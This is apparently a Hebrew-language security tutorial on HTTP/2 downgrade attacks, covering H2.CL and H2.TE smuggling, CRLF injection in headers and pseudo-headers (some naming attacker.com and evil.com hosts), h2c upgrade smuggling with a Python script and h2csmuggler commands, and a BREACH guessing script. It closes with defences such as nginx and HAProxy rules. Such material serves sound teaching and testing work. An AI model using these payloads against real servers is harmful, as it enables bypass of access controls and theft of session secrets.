לדלג לתוכן

תקיפות HTTP/2 - HTTP/2 Attacks

מבוא

פרוטוקול HTTP/2 תוכנן לשפר ביצועים ואבטחה ביחס ל-HTTP/1.1. הוא משתמש ב-framing בינארי, multiplexing ודחיסת כותרות. אולם, ברוב הסביבות בפועל, השרת החזיתי מקבל HTTP/2 מהלקוח אך מתרגם אותו ל-HTTP/1.1 עבור השרת האחורי. תהליך התרגום הזה (downgrading) פותח וקטורי תקיפה ייחודיים.


סקירת פרוטוקול HTTP/2

מבנה בינארי - Binary Framing

ב-HTTP/1.1, בקשות הן טקסט חופשי המופרד ב-\r\n. ב-HTTP/2, כל בקשה מורכבת מ-frames בינאריים עם שדות אורך מפורשים:

+-----------------------------------------------+
|                 Length (24)                     |
+---------------+---------------+---------------+
|   Type (8)    |   Flags (8)   |
+-+-------------+---------------+---------------+
|R|                 Stream Identifier (31)       |
+=+=============================================+
|                   Frame Payload                |
+-----------------------------------------------+

כל frame מכיל שדה אורך שמגדיר בדיוק כמה בתים יש בו - אין צורך ב-Content-Length או Transfer-Encoding כדי לקבוע את גבולות הבקשה.

ריבוב - Multiplexing

ב-HTTP/2, בקשות מרובות עוברות על אותו חיבור TCP במקביל, כל אחת ב-stream נפרד עם מזהה ייחודי. זה מבטל את בעיית head-of-line blocking של HTTP/1.1.

דחיסת כותרות - HPACK

HPACK הוא אלגוריתם דחיסת כותרות ספציפי ל-HTTP/2. הוא משתמש בטבלה סטטית של כותרות נפוצות וטבלה דינמית שמתעדכנת לאורך החיבור:

טבלה סטטית (חלקית):
+-------+------------------+-------------------+
| Index | Header Name      | Header Value      |
+-------+------------------+-------------------+
| 1     | :authority       |                   |
| 2     | :method          | GET               |
| 3     | :method          | POST              |
| 4     | :path            | /                 |
| 7     | :scheme          | https             |
+-------+------------------+-------------------+

כותרות פסאודו - Pseudo-Headers

ב-HTTP/2, שורת הבקשה מפורקת לכותרות פסאודו שמתחילות בנקודתיים:

:method: GET
:path: /api/users
:scheme: https
:authority: example.com

כותרות אלו מתורגמות בחזרה לשורת בקשה ב-HTTP/1.1:

GET /api/users HTTP/1.1
Host: example.com

תרגום HTTP/2 ל-HTTP/1.1 - Downgrading

רוב השרתים החזיתיים (CDN, reverse proxy) מבצעים downgrade:

[לקוח] --HTTP/2--> [Front-End] --HTTP/1.1--> [Back-End]

תהליך התרגום:

HTTP/2 בקשה:
:method: POST
:path: /search
:authority: example.com
content-type: application/x-www-form-urlencoded

q=test

מתורגם ל-HTTP/1.1:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

q=test

השרת החזיתי מחשב את ה-Content-Length מתוך גודל ה-data frame ב-HTTP/2. כאן נוצרות ההזדמנויות לתקיפה.


תקיפת H2.CL - הברחה דרך Content-Length

ב-HTTP/2, אורך הגוף נקבע על ידי ה-framing הבינארי. אם השרת החזיתי מאפשר לנו לשלוח כותרת Content-Length ב-HTTP/2, ומעביר אותה כמות שהיא ל-HTTP/1.1 - יכולה להיווצר הברחה.

דוגמה

בקשת HTTP/2:

:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com

מה קורה:

  1. השרת החזיתי שולח את הבקשה עם הגוף המלא (כולל GET /admin...) כי ה-framing הבינארי מגדיר את האורך האמיתי
  2. אבל הוא מעביר גם את Content-Length: 0
  3. השרת האחורי קורא Content-Length: 0, מפרש את הבקשה כ-POST ריק, ואת GET /admin כבקשה חדשה

דוגמה מלאה ב-Burp Suite

ב-Burp Repeater, בחרו HTTP/2 ושלחו:

:method: POST
:path: /
:authority: <lab-url>
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: <lab-url>
Content-Length: 5

x=1

תקיפת H2.TE - הזרקת Transfer-Encoding

כותרת Transfer-Encoding אינה תקינה ב-HTTP/2 (אין צורך בה כי ה-framing הבינארי קובע את האורך). אולם, שרתים חזיתיים מסוימים לא מסננים אותה, ומעבירים אותה ל-HTTP/1.1 בתהליך התרגום.

דוגמה

בקשת HTTP/2:

:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com

לאחר התרגום, השרת האחורי מקבל HTTP/1.1 עם Transfer-Encoding: chunked, מפרש את 0 כסוף הבקשה, ואת GET /admin כבקשה חדשה.


הזרקת CRLF דרך כותרות HTTP/2

זהו וקטור תקיפה ייחודי ל-HTTP/2. מכיוון ש-HTTP/2 הוא פרוטוקול בינארי, ערכי כותרות יכולים להכיל תווים שלא מותרים ב-HTTP/1.1 - כולל \r\n.

הזרקת כותרות

:method: GET
:path: /
:authority: vulnerable-website.com
header-x: value\r\nTransfer-Encoding: chunked

לאחר התרגום ל-HTTP/1.1:

GET / HTTP/1.1
Host: vulnerable-website.com
Header-X: value
Transfer-Encoding: chunked

ה-\r\n בתוך ערך הכותרת ב-HTTP/2 הופך לשבירת שורה ב-HTTP/1.1, מה שמאפשר הזרקת כותרות שרירותיות.

דוגמה מתקדמת - הברחה מלאה דרך CRLF

:method: POST
:path: /
:authority: vulnerable-website.com
foo: bar\r\nTransfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com

לאחר התרגום:

POST / HTTP/1.1
Host: vulnerable-website.com
Foo: bar
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com

הזרקה דרך כותרות פסאודו

חלק מהשרתים החזיתיים לא מסננים \r\n גם בכותרות פסאודו:

:method: GET
:path: / HTTP/1.1\r\nHost: attacker.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com
:authority: vulnerable-website.com

הברחת h2c - HTTP/2 Cleartext Upgrade

פרוטוקול h2c הוא HTTP/2 ללא הצפנה. הוא עובד באמצעות שדרוג מ-HTTP/1.1:

GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings

תקיפה

אם reverse proxy מעביר את כותרת ה-Upgrade לשרת האחורי ללא בדיקה:

[תוקף] --HTTP/1.1 Upgrade: h2c--> [Reverse Proxy] --> [Back-End]

לאחר השדרוג, התוקף מדבר HTTP/2 ישירות עם השרת האחורי דרך ה-proxy, ועוקף את כל בקרות הגישה של ה-proxy:

import h2.connection
import h2.config
import socket
import ssl

def h2c_smuggle(target_host, target_port, path):
    """תקיפת h2c smuggling"""

    sock = socket.create_connection((target_host, target_port))

    # שליחת בקשת upgrade
    upgrade_request = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {target_host}\r\n"
        f"Upgrade: h2c\r\n"
        f"HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n"
        f"Connection: Upgrade, HTTP2-Settings\r\n"
        f"\r\n"
    )
    sock.send(upgrade_request.encode())

    # קבלת תגובת 101 Switching Protocols
    response = sock.recv(4096)
    if b"101" not in response:
        print("[-] שדרוג h2c נכשל")
        return

    print("[+] שדרוג h2c הצליח")

    # עכשיו מדברים HTTP/2
    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    sock.send(conn.data_to_send())

    # שליחת בקשה ישירות לשרת האחורי
    headers = [
        (':method', 'GET'),
        (':path', path),
        (':authority', target_host),
        (':scheme', 'http'),
    ]
    conn.send_headers(1, headers, end_stream=True)
    sock.send(conn.data_to_send())

    # קבלת תגובה
    data = sock.recv(65535)
    events = conn.receive_data(data)
    for event in events:
        print(event)

    sock.close()

# שימוש - גישה לנתיב חסום
h2c_smuggle("target.com", 80, "/admin")

כלי h2csmuggler

# התקנה
git clone https://github.com/BishopFox/h2csmuggler.git
cd h2csmuggler
pip install -r requirements.txt

# שימוש בסיסי
python3 h2csmuggler.py -x https://target.com/ --test

# גישה לנתיב חסום
python3 h2csmuggler.py -x https://target.com/ -X GET https://target.com/admin

פיצול בקשות דרך הזרקת כותרות HTTP/2 - Request Splitting

ניתן לנצל הזרקת CRLF בכותרות HTTP/2 כדי לפצל בקשה אחת לשתיים:

:method: GET
:path: /
:authority: vulnerable-website.com
foo: bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com

לאחר התרגום:

GET / HTTP/1.1
Host: vulnerable-website.com
Foo: bar

GET /admin HTTP/1.1
Host: vulnerable-website.com

השרת האחורי רואה שתי בקשות נפרדות.


תקיפות דחיסה - CRIME ו-BREACH

תקיפת CRIME

תקיפת CRIME מנצלת את דחיסת הכותרות ב-TLS/SPDY. היא עובדת כך:

  1. התוקף שולט בחלק מהנתונים שנשלחים (למשל, JavaScript בדפדפן)
  2. הוא מזריק ניחושים לערך של עוגייה
  3. אם הניחוש מופיע גם בכותרת האמיתית, הדחיסה תהיה יעילה יותר - והתגובה קטנה יותר
  4. על ידי מדידת גודל התגובה, התוקף יכול לנחש תו אחרי תו
ניחוש: Cookie: session=a  -> גודל דחוס: 120
ניחוש: Cookie: session=b  -> גודל דחוס: 120
ניחוש: Cookie: session=x  -> גודל דחוס: 118  <-- התאמה!

ב-HTTP/2, דחיסת HPACK מחליפה את הדחיסה ברמת TLS ומקשה על התקיפה, אבל לא בהכרח מונעת אותה.

תקיפת BREACH

תקיפת BREACH דומה ל-CRIME אך פועלת על גוף התגובה (HTTP compression) ולא על הכותרות:

import requests

def breach_attack(target_url, known_prefix, charset):
    """
    הדגמה פשוטה של עקרון BREACH
    בפועל התקיפה דורשת MitM ו-JavaScript בדפדפן הקורבן
    """
    results = {}

    for char in charset:
        guess = known_prefix + char
        # שליחת בקשה שגורמת לגוף התגובה לכלול את הניחוש
        resp = requests.get(
            target_url,
            params={"search": guess}
        )
        results[char] = len(resp.content)
        print(f"  '{char}' -> {len(resp.content)} bytes")

    # התו שגורם לגודל הקטן ביותר הוא כנראה נכון
    best = min(results, key=results.get)
    print(f"[+] תו הבא כנראה: '{best}'")
    return best

מניפולציית כותרות פסאודו

ב-HTTP/2, כותרות פסאודו מועברות כ-headers רגילים עם הגנות מינימליות:

שם מתודה עם רווחים

:method: GET /admin HTTP/1.1\r\nHost: evil.com\r\n\r\nGET
:path: /ignored
:authority: vulnerable-website.com

נתיב מלא עם query string

:method: GET
:path: /admin?role=admin HTTP/1.1
:authority: vulnerable-website.com

סכמה מזויפת

:method: GET
:path: /
:scheme: https://attacker.com/
:authority: vulnerable-website.com

הגדרת Burp Suite לבדיקת HTTP/2

הגדרות בסיסיות

1. פתחו Settings -> Network -> HTTP
2. ודאו ש-HTTP/2 מופעל (ברירת מחדל מ-Burp 2023+)
3. ב-Repeater, בחרו HTTP/2 בתפריט הפרוטוקול
4. השתמשו בתצוגת Inspector לעריכת כותרות פסאודו

שליחת CRLF בכותרות

1. ב-Repeater, עברו לתצוגת Inspector
2. לחצו על כותרת ועירכו את הערך
3. השתמשו ב-\r\n להזרקת שורה חדשה
4. Burp ישלח את הבקשה ב-HTTP/2 עם ה-CRLF בתוך הכותרת

הרחבת HTTP/2 Smuggling

1. התקינו את HTTP Request Smuggler מה-BApp Store
2. ההרחבה תומכת בבדיקות H2.CL, H2.TE ו-CRLF injection
3. לחצו ימני -> Extensions -> HTTP Request Smuggler -> Smuggle Probe

טבלת וקטורי תקיפה

וקטור תנאי מוקדם השפעה
H2.CL שרת חזיתי מעביר Content-Length מ-H2 הברחת בקשות מלאה
H2.TE שרת חזיתי מעביר Transfer-Encoding מ-H2 הברחת בקשות מלאה
הזרקת CRLF בכותרות שרת חזיתי לא מסנן \r\n בכותרות H2 הזרקת כותרות, הברחה
הזרקת CRLF בפסאודו שרת חזיתי לא מסנן \r\n בכותרות פסאודו פיצול בקשות מלא
h2c smuggling שרת חזיתי מעביר Upgrade: h2c עקיפת כל בקרות הגישה

הגנה

1. הימנעות מ-downgrading

- השתמשו ב-HTTP/2 מקצה לקצה (front-end וגם back-end)
- אם חייבים downgrade, השתמשו בשרת חזיתי שמבצע נרמול קפדני

2. אימות Content-Length

- בעת תרגום מ-HTTP/2 ל-HTTP/1.1, התעלמו מ-Content-Length שסופק
  והשתמשו בגודל ה-data frame בלבד
- דחו בקשות HTTP/2 שמכילות Transfer-Encoding

3. סינון CRLF בכותרות

- דחו כל כותרת HTTP/2 שמכילה \r\n, \r או \n בשם או בערך
- סננו גם כותרות פסאודו
- רוב השרתים המודרניים כבר עושים זאת, אבל חשוב לוודא

4. חסימת h2c

# nginx - חסימת שדרוג h2c
proxy_set_header Upgrade "";
proxy_set_header Connection "";
# HAProxy
http-request del-header Upgrade
http-request del-header HTTP2-Settings

5. עדכון שרתים

- עדכנו שרתים חזיתיים (nginx, HAProxy, Cloudflare) לגרסאות אחרונות
- רוב הספקים תיקנו את הבעיות הידועות
- עקבו אחרי CVE-ים חדשים בתחום

סיכום

תקיפות HTTP/2 מנצלות את תהליך התרגום מ-HTTP/2 ל-HTTP/1.1. הפרוטוקול הבינארי של HTTP/2 מאפשר שליחת נתונים שאינם תקינים ב-HTTP/1.1, וכשהם מתורגמים - נוצרות חולשות. נקודות מפתח:

  • תקיפות H2.CL ו-H2.TE דומות להברחה קלאסית אך מנצלות את ההבדלים בין HTTP/2 ל-HTTP/1.1
  • הזרקת CRLF בכותרות HTTP/2 היא וקטור ייחודי שלא קיים ב-HTTP/1.1 רגיל
  • תקיפת h2c smuggling עוקפת לחלוטין את בקרות הגישה של ה-reverse proxy
  • ההגנה הטובה ביותר היא HTTP/2 מקצה לקצה ללא downgrade